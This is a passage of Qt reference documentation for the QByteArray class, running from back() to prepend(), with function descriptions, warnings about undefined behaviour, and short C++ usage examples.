 **See also** [front](qbytearray#front)(), [at](qbytearray#at)(), and [operator[]](qbytearray#operator-5b-5d)().

 ### 
`[since 5.10]` char &QByteArray::back()

 Returns a reference to the last byte in the byte array. Same as `operator[](size() - 1)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty byte array constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [front](qbytearray#front)(), [at](qbytearray#at)(), and [operator[]](qbytearray#operator-5b-5d)().

 ### 
[QByteArray::iterator](qbytearray#iterator-typedef) QByteArray::begin()

 Returns an [STL-style iterator](containers#stl-style-iterators) pointing to the first byte in the byte-array.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  **See also** [constBegin](qbytearray#constBegin)() and [end](qbytearray#end)().

 ### 
[QByteArray::const\_iterator](qbytearray#const_iterator-typedef) QByteArray::begin() const

 This function overloads begin().

 ### 
qsizetype QByteArray::capacity() const

 Returns the maximum number of bytes that can be stored in the byte array without forcing a reallocation.

 The sole purpose of this function is to provide a means of fine tuning [QByteArray](qbytearray)'s memory usage. In general, you will rarely ever need to call this function. If you want to know how many bytes are in the byte array, call [size](qbytearray#size)().

  **Note:** a statically allocated byte array will report a capacity of 0, even if it's not empty.

   **Note:** The free space position in the allocated memory block is undefined. In other words, one should not assume that the free memory is always located after the initialized elements.

  **See also** [reserve](qbytearray#reserve)() and [squeeze](qbytearray#squeeze)().

 ### 
`[since 5.0]` [QByteArray::const\_iterator](qbytearray#const_iterator-typedef) QByteArray::cbegin() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing to the first byte in the byte-array.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  This function was introduced in Qt 5.0.

 **See also** [begin](qbytearray#begin)() and [cend](qbytearray#cend)().

 ### 
`[since 5.0]` [QByteArray::const\_iterator](qbytearray#const_iterator-typedef) QByteArray::cend() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing just after the last byte in the byte-array.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  This function was introduced in Qt 5.0.

 **See also** [cbegin](qbytearray#cbegin)() and [end](qbytearray#end)().

 ### 
void QByteArray::chop(qsizetype *n*)

 Removes *n* bytes from the end of the byte array.

 If *n* is greater than [size](qbytearray#size)(), the result is an empty byte array.

 Example:

 
```
QByteArray ba("STARTTLS\r\n");
ba.chop(2);                 // ba == "STARTTLS"
```
 **See also** [truncate](qbytearray#truncate)(), [resize](qbytearray#resize)(), and [first](qbytearray#first)().

 ### 
`[since 5.10]` [QByteArray](qbytearray#QByteArray) QByteArray::chopped(qsizetype *len*) const

 Returns a byte array that contains the leftmost [size](qbytearray#size)() - *len* bytes of this byte array.

  **Note:** The behavior is undefined if *len* is negative or greater than [size](qbytearray#size)().

  This function was introduced in Qt 5.10.

 **See also** [endsWith](qbytearray#endsWith)(), [first](qbytearray#first)(), [last](qbytearray#last)(), [sliced](qbytearray#sliced)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
void QByteArray::clear()

 Clears the contents of the byte array and makes it null.

 **See also** [resize](qbytearray#resize)() and [isNull](qbytearray#isNull)().

 ### 
`[since 6.0]` int QByteArray::compare([QByteArrayView](qbytearrayview) *bv*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns an integer less than, equal to, or greater than zero depending on whether this [QByteArray](qbytearray) sorts before, at the same position as, or after the [QByteArrayView](qbytearrayview) *bv*. The comparison is performed according to case sensitivity *cs*.

 This function was introduced in Qt 6.0.

 **See also** [operator==](qbytearray#operator-eq-eq) and [Character Case](qbytearray#character-case).

 ### 
[QByteArray::const\_iterator](qbytearray#const_iterator-typedef) QByteArray::constBegin() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing to the first byte in the byte-array.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  **See also** [begin](qbytearray#begin)() and [constEnd](qbytearray#constEnd)().

 ### const char \*QByteArray::constData() const

 Returns a pointer to the const data stored in the byte array. The pointer can be used to access the bytes that compose the array. The data is '\0'-terminated unless the [QByteArray](qbytearray) object was created from raw data.

 The pointer remains valid as long as no detach happens and the [QByteArray](qbytearray) is not modified.

 This function is mostly useful to pass a byte array to a function that accepts a `const char *`.

 Note: A [QByteArray](qbytearray) can store any byte values including '\0's, but most functions that take `char *` arguments assume that the data ends at the first '\0' they encounter.

 **See also** [data](qbytearray#data)(), [operator[]](qbytearray#operator-5b-5d)(), and [fromRawData](qbytearray#fromRawData)().

 ### 
[QByteArray::const\_iterator](qbytearray#const_iterator-typedef) QByteArray::constEnd() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing just after the last byte in the byte-array.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  **See also** [constBegin](qbytearray#constBegin)() and [end](qbytearray#end)().

 ### 
`[since 6.0]` bool QByteArray::contains([QByteArrayView](qbytearrayview) *bv*) const

 Returns `true` if this byte array contains an occurrence of the sequence of bytes viewed by *bv*; otherwise returns `false`.

 This function was introduced in Qt 6.0.

 **See also** [indexOf](qbytearray#indexOf)() and [count](qbytearray#count-2)().

 ### 
bool QByteArray::contains(char *ch*) const

 This is an overloaded function.

 Returns `true` if the byte array contains the byte *ch*; otherwise returns `false`.

 ### 
`[since 6.0]` qsizetype QByteArray::count([QByteArrayView](qbytearrayview) *bv*) const

 Returns the number of (potentially overlapping) occurrences of the sequence of bytes viewed by *bv* in this byte array.

 This function was introduced in Qt 6.0.

 **See also** [contains](qbytearray#contains)() and [indexOf](qbytearray#indexOf)().

 ### 
qsizetype QByteArray::count(char *ch*) const

 This is an overloaded function.

 Returns the number of occurrences of byte *ch* in the byte array.

 **See also** [contains](qbytearray#contains)() and [indexOf](qbytearray#indexOf)().

 ### 
qsizetype QByteArray::count() const

 This is an overloaded function.

 Same as [size](qbytearray#size)().

 ### 
`[since 5.6]` [QByteArray::const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef) QByteArray::crbegin() const

 Returns a const [STL-style](containers#stl-style-iterators) reverse iterator pointing to the first byte in the byte-array, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  This function was introduced in Qt 5.6.

 **See also** [begin](qbytearray#begin)(), [rbegin](qbytearray#rbegin)(), and [rend](qbytearray#rend)().

 ### 
`[since 5.6]` [QByteArray::const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef) QByteArray::crend() const

 Returns a const [STL-style](containers#stl-style-iterators) reverse iterator pointing just after the last byte in the byte-array, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  This function was introduced in Qt 5.6.

 **See also** [end](qbytearray#end)(), [rend](qbytearray#rend)(), and [rbegin](qbytearray#rbegin)().

 ### 
char \*QByteArray::data()

 Returns a pointer to the data stored in the byte array. The pointer can be used to access and modify the bytes that compose the array. The data is '\0'-terminated, i.e. the number of bytes you can access following the returned pointer is [size](qbytearray#size)() + 1, including the '\0' terminator.

 Example:

 
```
QByteArray ba("Hello world");
char *data = ba.data();
while (*data) {
    cout << "[" << *data << "]" << Qt::endl;
    ++data;
}
```
 The pointer remains valid as long as no detach happens and the [QByteArray](qbytearray) is not modified.

 For read-only access, [constData](qbytearray#constData)() is faster because it never causes a [deep copy](implicit-sharing#deep-copy) to occur.

 This function is mostly useful to pass a byte array to a function that accepts a `const char *`.

 The following example makes a copy of the char\* returned by data(), but it will corrupt the heap and cause a crash because it does not allocate a byte for the '\0' at the end:

 
```
QString tmp = "test";
QByteArray text = tmp.toLocal8Bit();
char *data = new char[text.size()];
strcpy(data, text.data());
delete [] data;
```
 This one allocates the correct amount of space:

 
```
QString tmp = "test";
QByteArray text = tmp.toLocal8Bit();
char *data = new char[text.size() + 1];
strcpy(data, text.data());
delete [] data;
```
 Note: A [QByteArray](qbytearray) can store any byte values including '\0's, but most functions that take `char *` arguments assume that the data ends at the first '\0' they encounter.

 **See also** [constData](qbytearray#constData)() and [operator[]](qbytearray#operator-5b-5d)().

 ### const char \*QByteArray::data() const

 This is an overloaded function.

 ### 
[QByteArray::iterator](qbytearray#iterator-typedef) QByteArray::end()

 Returns an [STL-style iterator](containers#stl-style-iterators) pointing just after the last byte in the byte-array.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  **See also** [begin](qbytearray#begin)() and [constEnd](qbytearray#constEnd)().

 ### 
[QByteArray::const\_iterator](qbytearray#const_iterator-typedef) QByteArray::end() const

 This function overloads end().

 ### 
`[since 6.0]` bool QByteArray::endsWith([QByteArrayView](qbytearrayview) *bv*) const

 Returns `true` if this byte array ends with the sequence of bytes viewed by *bv*; otherwise returns `false`.

 Example:

 
```
QByteArray url("http://qt-project.org/doc/qt-5.0/qtdoc/index.html");
if (url.endsWith(".html"))
    ...
```
 This function was introduced in Qt 6.0.

 **See also** [startsWith](qbytearray#startsWith)() and [last](qbytearray#last)().

 ### 
bool QByteArray::endsWith(char *ch*) const

 This is an overloaded function.

 Returns `true` if this byte array ends with byte *ch*; otherwise returns `false`.

 ### 
`[since 6.1]` [QByteArray::iterator](qbytearray#iterator-typedef) QByteArray::erase([QByteArray::const\_iterator](qbytearray#const_iterator-typedef) *first*, [QByteArray::const\_iterator](qbytearray#const_iterator-typedef) *last*)

 Removes from the byte array the characters in the half-open range [ *first* , *last* ). Returns an iterator to the character referred to by *last* before the erase.

 This function was introduced in Qt 6.1.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::fill(char *ch*, qsizetype *size* = -1)

 Sets every byte in the byte array to *ch*. If *size* is different from -1 (the default), the byte array is resized to size *size* beforehand.

 Example:

 
```
QByteArray ba("Istambul");
ba.fill('o');
// ba == "oooooooo"

ba.fill('X', 2);
// ba == "XX"
```
 **See also** [resize](qbytearray#resize)().

 ### 
`[since 6.0]` [QByteArray](qbytearray#QByteArray) QByteArray::first(qsizetype *n*) const

 Returns the first *n* bytes of the byte array.

  **Note:** The behavior is undefined when *n* < 0 or *n* > [size](qbytearray#size)().

  Example:

 
```
QByteArray x("Pineapple");
QByteArray y = x.first(4);
// y == "Pine"
```
 This function was introduced in Qt 6.0.

 **See also** [last](qbytearray#last)(), [sliced](qbytearray#sliced)(), [startsWith](qbytearray#startsWith)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
`[static, since 5.2]` [QByteArray](qbytearray#QByteArray) QByteArray::fromBase64(const [QByteArray](qbytearray#QByteArray) &*base64*, [QByteArray::Base64Options](qbytearray#Base64Option-enum) *options* = Base64Encoding)

 Returns a decoded copy of the Base64 array *base64*, using the options defined by *options*. If *options* contains `IgnoreBase64DecodingErrors` (the default), the input is not checked for validity; invalid characters in the input are skipped, enabling the decoding process to continue with subsequent characters. If *options* contains `AbortOnBase64DecodingErrors`, then decoding will stop at the first invalid character.

 For example:

 
```
QByteArray text = QByteArray::fromBase64("UXQgaXMgZ3JlYXQh");
text.data();            // returns "Qt is great!"

QByteArray::fromBase64("PHA+SGVsbG8/PC9wPg==", QByteArray::Base64Encoding); // returns "<p>Hello?</p>"
QByteArray::fromBase64("PHA-SGVsbG8_PC9wPg==", QByteArray::Base64UrlEncoding); // returns "<p>Hello?</p>"
```
 The algorithm used to decode Base64-encoded data is defined in [RFC 4648](https://datatracker.ietf.org/doc/html/rfc4648).

 Returns the decoded data, or, if the `AbortOnBase64DecodingErrors` option was passed and the input data was invalid, an empty byte array.

  **Note:** The [fromBase64Encoding](qbytearray#fromBase64Encoding)() function is recommended in new code.

  This function was introduced in Qt 5.2.

 **See also** [toBase64](qbytearray#toBase64)() and [fromBase64Encoding](qbytearray#fromBase64Encoding)().

 ### 
`[static, since 5.3]` [QByteArray](qbytearray#QByteArray) QByteArray::fromCFData(CFDataRef *data*)

 Constructs a new [QByteArray](qbytearray) containing a copy of the CFData *data*.

 This function was introduced in Qt 5.3.

 **See also** [fromRawCFData](qbytearray#fromRawCFData)(), [fromRawData](qbytearray#fromRawData)(), [toRawCFData](qbytearray#toRawCFData)(), and [toCFData](qbytearray#toCFData)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::fromHex(const [QByteArray](qbytearray#QByteArray) &*hexEncoded*)

 Returns a decoded copy of the hex encoded array *hexEncoded*. Input is not checked for validity; invalid characters in the input are skipped, enabling the decoding process to continue with subsequent characters.

 For example:

 
```
QByteArray text = QByteArray::fromHex("517420697320677265617421");
text.data();            // returns "Qt is great!"
```
 **See also** [toHex](qbytearray#toHex)().

 ### 
`[static, since 5.3]` [QByteArray](qbytearray#QByteArray) QByteArray::fromNSData(const NSData \**data*)

 Constructs a new [QByteArray](qbytearray) containing a copy of the NSData *data*.

 This function was introduced in Qt 5.3.

 **See also** [fromRawNSData](qbytearray#fromRawNSData)(), [fromRawData](qbytearray#fromRawData)(), [toNSData](qbytearray#toNSData)(), and [toRawNSData](qbytearray#toRawNSData)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::fromPercentEncoding(const [QByteArray](qbytearray#QByteArray) &*input*, char *percent* = '%')

 Returns a decoded copy of the URI/URL-style percent-encoded *input*. The *percent* parameter allows you to replace the '%' character for another (for instance, '\_' or '=').

 For example:

 
```
QByteArray text = QByteArray::fromPercentEncoding("Qt%20is%20great%33");
text.data();            // returns "Qt is great!"
```
  **Note:** Given invalid input (such as a string containing the sequence "%G5", which is not a valid hexadecimal number) the output will be invalid as well. As an example: the sequence "%G5" could be decoded to 'W'.

  **See also** [toPercentEncoding](qbytearray#toPercentEncoding)() and [QUrl::fromPercentEncoding](qurl#fromPercentEncoding)().

 ### 
`[static, since 5.3]` [QByteArray](qbytearray#QByteArray) QByteArray::fromRawCFData(CFDataRef *data*)

 Constructs a [QByteArray](qbytearray) that uses the bytes of the CFData *data*.

 The *data*'s bytes are not copied.

 The caller guarantees that the CFData will not be deleted or modified as long as this [QByteArray](qbytearray) object exists.

 This function was introduced in Qt 5.3.

 **See also** [fromCFData](qbytearray#fromCFData)(), [fromRawData](qbytearray#fromRawData)(), [toRawCFData](qbytearray#toRawCFData)(), and [toCFData](qbytearray#toCFData)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::fromRawData(const char \**data*, qsizetype *size*)

 Constructs a [QByteArray](qbytearray) that uses the first *size* bytes of the *data* array. The bytes are *not* copied. The [QByteArray](qbytearray) will contain the *data* pointer. The caller guarantees that *data* will not be deleted or modified as long as this [QByteArray](qbytearray) and any copies of it exist that have not been modified. In other words, because [QByteArray](qbytearray) is an [implicitly shared](implicit-sharing) class and the instance returned by this function contains the *data* pointer, the caller must not delete *data* or modify it directly as long as the returned [QByteArray](qbytearray) and any copies exist. However, [QByteArray](qbytearray) does not take ownership of *data*, so the [QByteArray](qbytearray) destructor will never delete the raw *data*, even when the last [QByteArray](qbytearray) referring to *data* is destroyed.

 A subsequent attempt to modify the contents of the returned [QByteArray](qbytearray) or any copy made from it will cause it to create a deep copy of the *data* array before doing the modification. This ensures that the raw *data* array itself will never be modified by [QByteArray](qbytearray).

 Here is an example of how to read data using a [QDataStream](qdatastream) on raw data in memory without copying the raw data into a [QByteArray](qbytearray):

 
```
 static const char mydata[] = {
    '\x00', '\x00', '\x03', '\x84', '\x78', '\x9c', '\x3b', '\x76',
    '\xec', '\x18', '\xc3', '\x31', '\x0a', '\xf1', '\xcc', '\x99',
    ...
    '\x6d', '\x5b'
};

QByteArray data = QByteArray::fromRawData(mydata, sizeof(mydata));
QDataStream in(&data, QIODevice::ReadOnly);
...
```
  **Warning:** A byte array created with fromRawData() is *not* '\0'-terminated, unless the raw data contains a '\0' byte at position *size*. While that does not matter for [QDataStream](qdatastream) or functions like [indexOf](qbytearray#indexOf)(), passing the byte array to a function accepting a `const char *` expected to be '\0'-terminated will fail.

  **See also** [setRawData](qbytearray#setRawData)(), [data](qbytearray#data)(), and [constData](qbytearray#constData)().

 ### 
`[static, since 5.3]` [QByteArray](qbytearray#QByteArray) QByteArray::fromRawNSData(const NSData \**data*)

 Constructs a [QByteArray](qbytearray) that uses the bytes of the NSData *data*.

 The *data*'s bytes are not copied.

 The caller guarantees that the NSData will not be deleted or modified as long as this [QByteArray](qbytearray) object exists.

 This function was introduced in Qt 5.3.

 **See also** [fromNSData](qbytearray#fromNSData)(), [fromRawData](qbytearray#fromRawData)(), [toRawNSData](qbytearray#toRawNSData)(), and [toNSData](qbytearray#toNSData)().

 ### 
`[static, since 5.4]` [QByteArray](qbytearray#QByteArray) QByteArray::fromStdString(const std::string &*str*)

 Returns a copy of the *str* string as a [QByteArray](qbytearray).

 This function was introduced in Qt 5.4.

 **See also** [toStdString](qbytearray#toStdString)() and [QString::fromStdString](qstring#fromStdString)().

 ### 
`[since 5.10]` char QByteArray::front() const

 Returns the first byte in the byte array. Same as `at(0)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty byte array constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [back](qbytearray#back)(), [at](qbytearray#at)(), and [operator[]](qbytearray#operator-5b-5d)().

 ### 
`[since 5.10]` char &QByteArray::front()

 Returns a reference to the first byte in the byte array. Same as `operator[](0)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty byte array constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [back](qbytearray#back)(), [at](qbytearray#at)(), and [operator[]](qbytearray#operator-5b-5d)().

 ### 
`[since 6.0]` qsizetype QByteArray::indexOf([QByteArrayView](qbytearrayview) *bv*, qsizetype *from* = 0) const

 Returns the index position of the start of the first occurrence of the sequence of bytes viewed by *bv* in this byte array, searching forward from index position *from*. Returns -1 if no match is found.

 Example:

 
```
QByteArray x("sticky question");
QByteArrayView y("sti");
x.indexOf(y);               // returns 0
x.indexOf(y, 1);            // returns 10
x.indexOf(y, 10);           // returns 10
x.indexOf(y, 11);           // returns -1
```
 This function was introduced in Qt 6.0.

 **See also** [lastIndexOf](qbytearray#lastIndexOf)(), [contains](qbytearray#contains)(), and [count](qbytearray#count-2)().

 ### 
qsizetype QByteArray::indexOf(char *ch*, qsizetype *from* = 0) const

 This is an overloaded function.

 Returns the index position of the start of the first occurrence of the byte *ch* in this byte array, searching forward from index position *from*. Returns -1 if no match is found.

 Example:

 
```
QByteArray ba("ABCBA");
ba.indexOf("B");            // returns 1
ba.indexOf("B", 1);         // returns 1
ba.indexOf("B", 2);         // returns 3
ba.indexOf("X");            // returns -1
```
 **See also** [lastIndexOf](qbytearray#lastIndexOf)() and [contains](qbytearray#contains)().

 ### 
`[since 6.0]` [QByteArray](qbytearray#QByteArray) &QByteArray::insert(qsizetype *i*, [QByteArrayView](qbytearrayview) *data*)

 Inserts *data* at index position *i* and returns a reference to this byte array.

 Example:

 
```
QByteArray ba("Meal");
ba.insert(1, QByteArrayView("ontr"));
// ba == "Montreal"
```
 For large byte arrays, this operation can be slow ([linear time](containers#linear-time)), because it requires moving all the bytes at indexes *i* and above by at least one position further in memory.

 This array grows to accommodate the insertion. If *i* is beyond the end of the array, the array is first extended with space characters to reach this *i*.

 This function was introduced in Qt 6.0.

 **See also** [append](qbytearray#append)(), [prepend](qbytearray#prepend)(), [replace](qbytearray#replace)(), and [remove](qbytearray#remove)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::insert(qsizetype *i*, const char \**s*)

 Inserts *s* at index position *i* and returns a reference to this byte array.

 This array grows to accommodate the insertion. If *i* is beyond the end of the array, the array is first extended with space characters to reach this *i*.

 The function is equivalent to `insert(i, QByteArrayView(s))`

 **See also** [append](qbytearray#append)(), [prepend](qbytearray#prepend)(), [replace](qbytearray#replace)(), and [remove](qbytearray#remove)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::insert(qsizetype *i*, const [QByteArray](qbytearray#QByteArray) &*data*)

 Inserts *data* at index position *i* and returns a reference to this byte array.

 This array grows to accommodate the insertion. If *i* is beyond the end of the array, the array is first extended with space characters to reach this *i*.

 **See also** [append](qbytearray#append)(), [prepend](qbytearray#prepend)(), [replace](qbytearray#replace)(), and [remove](qbytearray#remove)().

 ### 
`[since 5.7]` [QByteArray](qbytearray#QByteArray) &QByteArray::insert(qsizetype *i*, qsizetype *count*, char *ch*)

 This is an overloaded function.

 Inserts *count* copies of byte *ch* at index position *i* in the byte array.

 This array grows to accommodate the insertion. If *i* is beyond the end of the array, the array is first extended with space characters to reach this *i*.

 This function was introduced in Qt 5.7.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::insert(qsizetype *i*, char *ch*)

 This is an overloaded function.

 Inserts byte *ch* at index position *i* in the byte array.

 This array grows to accommodate the insertion. If *i* is beyond the end of the array, the array is first extended with space characters to reach this *i*.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::insert(qsizetype *i*, const char \**data*, qsizetype *len*)

 This is an overloaded function.

 Inserts *len* bytes, starting at *data*, at position *i* in the byte array.

 This array grows to accommodate the insertion. If *i* is beyond the end of the array, the array is first extended with space characters to reach this *i*.

 ### 
bool QByteArray::isEmpty() const

 Returns `true` if the byte array has size 0; otherwise returns `false`.

 Example:

 
```
QByteArray().isEmpty();         // returns true
QByteArray("").isEmpty();       // returns true
QByteArray("abc").isEmpty();    // returns false
```
 **See also** [size](qbytearray#size)().

 ### 
`[since 5.12]` bool QByteArray::isLower() const

 Returns `true` if this byte array contains only lowercase ASCII letters, otherwise returns `false`.

 This function was introduced in Qt 5.12.

 **See also** [isUpper](qbytearray#isUpper)() and [toLower](qbytearray#toLower)().

 ### 
bool QByteArray::isNull() const

 Returns `true` if this byte array is null; otherwise returns `false`.

 Example:

 
```
QByteArray().isNull();          // returns true
QByteArray("").isNull();        // returns false
QByteArray("abc").isNull();     // returns false
```
 Qt makes a distinction between null byte arrays and empty byte arrays for historical reasons. For most applications, what matters is whether or not a byte array contains any data, and this can be determined using [isEmpty](qbytearray#isEmpty)().

 **See also** [isEmpty](qbytearray#isEmpty)().

 ### 
`[since 5.12]` bool QByteArray::isUpper() const

 Returns `true` if this byte array contains only ASCII uppercase letters, otherwise returns `false`.

 This function was introduced in Qt 5.12.

 **See also** [isLower](qbytearray#isLower)() and [toUpper](qbytearray#toUpper)().

 ### 
`[since 6.0]` [QByteArray](qbytearray#QByteArray) QByteArray::last(qsizetype *n*) const

 Returns the last *n* bytes of the byte array.

  **Note:** The behavior is undefined when *n* < 0 or *n* > [size](qbytearray#size)().

  Example:

 
```
QByteArray x("Pineapple");
QByteArray y = x.last(5);
// y == "apple"
```
 This function was introduced in Qt 6.0.

 **See also** [first](qbytearray#first)(), [sliced](qbytearray#sliced)(), [endsWith](qbytearray#endsWith)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
`[since 6.0]` qsizetype QByteArray::lastIndexOf([QByteArrayView](qbytearrayview) *bv*, qsizetype *from*) const

 Returns the index position of the start of the last occurrence of the sequence of bytes viewed by *bv* in this byte array, searching backward from index position *from*. If *from* is -1, the search starts at the last character; if *from* is -2, at the next to last character and so on. Returns -1 if no match is found.

 Example:

 
```
QByteArray x("crazy azimuths");
QByteArrayView y("az");
x.lastIndexOf(y);           // returns 6
x.lastIndexOf(y, 6);        // returns 6
x.lastIndexOf(y, 5);        // returns 2
x.lastIndexOf(y, 1);        // returns -1
```
  **Note:** When searching for a 0-length *bv*, the match at the end of the data is excluded from the search by a negative *from*, even though `-1` is normally thought of as searching from the end of the byte array: the match at the end is *after* the last character, so it is excluded. To include such a final empty match, either give a positive value for *from* or omit the *from* parameter entirely.

  This function was introduced in Qt 6.0.

 **See also** [indexOf](qbytearray#indexOf)(), [contains](qbytearray#contains)(), and [count](qbytearray#count-2)().

 ### 
qsizetype QByteArray::lastIndexOf(char *ch*, qsizetype *from* = -1) const

 This is an overloaded function.

 Returns the index position of the start of the last occurrence of byte *ch* in this byte array, searching backward from index position *from*. If *from* is -1 (the default), the search starts at the last byte (at index [size](qbytearray#size)() - 1). Returns -1 if no match is found.

 Example:

 
```
QByteArray ba("ABCBA");
ba.lastIndexOf("B");        // returns 3
ba.lastIndexOf("B", 3);     // returns 3
ba.lastIndexOf("B", 2);     // returns 1
ba.lastIndexOf("X");        // returns -1
```
 **See also** [indexOf](qbytearray#indexOf)() and [contains](qbytearray#contains)().

 ### 
`[since 6.2]` qsizetype QByteArray::lastIndexOf([QByteArrayView](qbytearrayview) *bv*) const

 This is an overloaded function.

 Returns the index position of the start of the last occurrence of the sequence of bytes viewed by *bv* in this byte array, searching backward from the end of the byte array. Returns -1 if no match is found.

 Example:

 
```
QByteArray x("crazy azimuths");
QByteArrayView y("az");
x.lastIndexOf(y);           // returns 6
x.lastIndexOf(y, 6);        // returns 6
x.lastIndexOf(y, 5);        // returns 2
x.lastIndexOf(y, 1);        // returns -1
```
 This function was introduced in Qt 6.2.

 **See also** [indexOf](qbytearray#indexOf)(), [contains](qbytearray#contains)(), and [count](qbytearray#count-2)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::left(qsizetype *len*) const

 Returns a byte array that contains the first *len* bytes of this byte array.

 If you know that *len* cannot be out of bounds, use [first](qbytearray#first)() instead in new code, because it is faster.

 The entire byte array is returned if *len* is greater than [size](qbytearray#size)().

 Returns an empty [QByteArray](qbytearray) if *len* is smaller than 0.

 **See also** [first](qbytearray#first)(), [last](qbytearray#last)(), [startsWith](qbytearray#startsWith)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::leftJustified(qsizetype *width*, char *fill* = ' ', bool *truncate* = false) const

 Returns a byte array of size *width* that contains this byte array padded with the *fill* byte.

 If *truncate* is false and the [size](qbytearray#size)() of the byte array is more than *width*, then the returned byte array is a copy of this byte array.

 If *truncate* is true and the [size](qbytearray#size)() of the byte array is more than *width*, then any bytes in a copy of the byte array after position *width* are removed, and the copy is returned.

 Example:

 
```
QByteArray x("apple");
QByteArray y = x.leftJustified(8, '.');   // y == "apple..."
```
 **See also** [rightJustified](qbytearray#rightJustified)().

 ### 
qsizetype QByteArray::length() const

 Same as [size](qbytearray#size)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::mid(qsizetype *pos*, qsizetype *len* = -1) const

 Returns a byte array containing *len* bytes from this byte array, starting at position *pos*.

 If you know that *pos* and *len* cannot be out of bounds, use [sliced](qbytearray#sliced)() instead in new code, because it is faster.

 If *len* is -1 (the default), or *pos* + *len* >= [size](qbytearray#size)(), returns a byte array containing all bytes starting at position *pos* until the end of the byte array.

 **See also** [first](qbytearray#first)(), [last](qbytearray#last)(), [sliced](qbytearray#sliced)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number(int *n*, int *base* = 10)

 Returns a byte-array representing the whole number *n* as text.

 Returns a byte array containing a string representing *n*, using the specified *base* (ten by default). Bases 2 through 36 are supported, using letters for digits beyond 9: A is ten, B is eleven and so on.

 Example:

 
```
int n = 63;
QByteArray::number(n);              // returns "63"
QByteArray::number(n, 16);          // returns "3f"
QByteArray::number(n, 16).toUpper();  // returns "3F"
```
  **Note:** The format of the number is not localized; the default C locale is used regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [setNum](qbytearray#setNum)() and [toInt](qbytearray#toInt)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number([uint](qtglobal#uint-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toUInt](qbytearray#toUInt)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number(long *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toLong](qbytearray#toLong)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number([ulong](qtglobal#ulong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toULong](qbytearray#toULong)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number([qlonglong](qtglobal#qlonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toLongLong](qbytearray#toLongLong)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number([qulonglong](qtglobal#qulonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toULongLong](qbytearray#toULongLong)().

 ### 
`[static]` [QByteArray](qbytearray#QByteArray) QByteArray::number(double *n*, char *format* = 'g', int *precision* = 6)

 This is an overloaded function.

 Returns a byte-array representing the floating-point number *n* as text.

 Returns a byte array containing a string representing *n*, with a given *format* and *precision*, with the same meanings as for [QString::number](qstring#number-6)(double, char, int). For example:

 
```
QByteArray ba = QByteArray::number(12.3456, 'E', 3);
// ba == 1.235E+01
```
 **See also** [toDouble](qbytearray#toDouble)() and [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::prepend([QByteArrayView](qbytearrayview) *ba*)

 Prepends the byte array view *ba* to this byte array and returns a reference to this byte array.

 This operation is typically very fast ([constant time](containers#constant-time)), because [QByteArray](qbytearray) preallocates extra space at the beginning of the data, so it can grow without reallocating the entire array each time.

 Example:

 
```
QByteArray x("ship");
QByteArray y("air");
x.prepend(y);
// x == "airship"
```
 This is the same as insert(0, *ba*).

 **See also** [append](qbytearray#append)() and [insert](qbytearray#insert)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::prepend(char *ch*)

 This is an overloaded function.

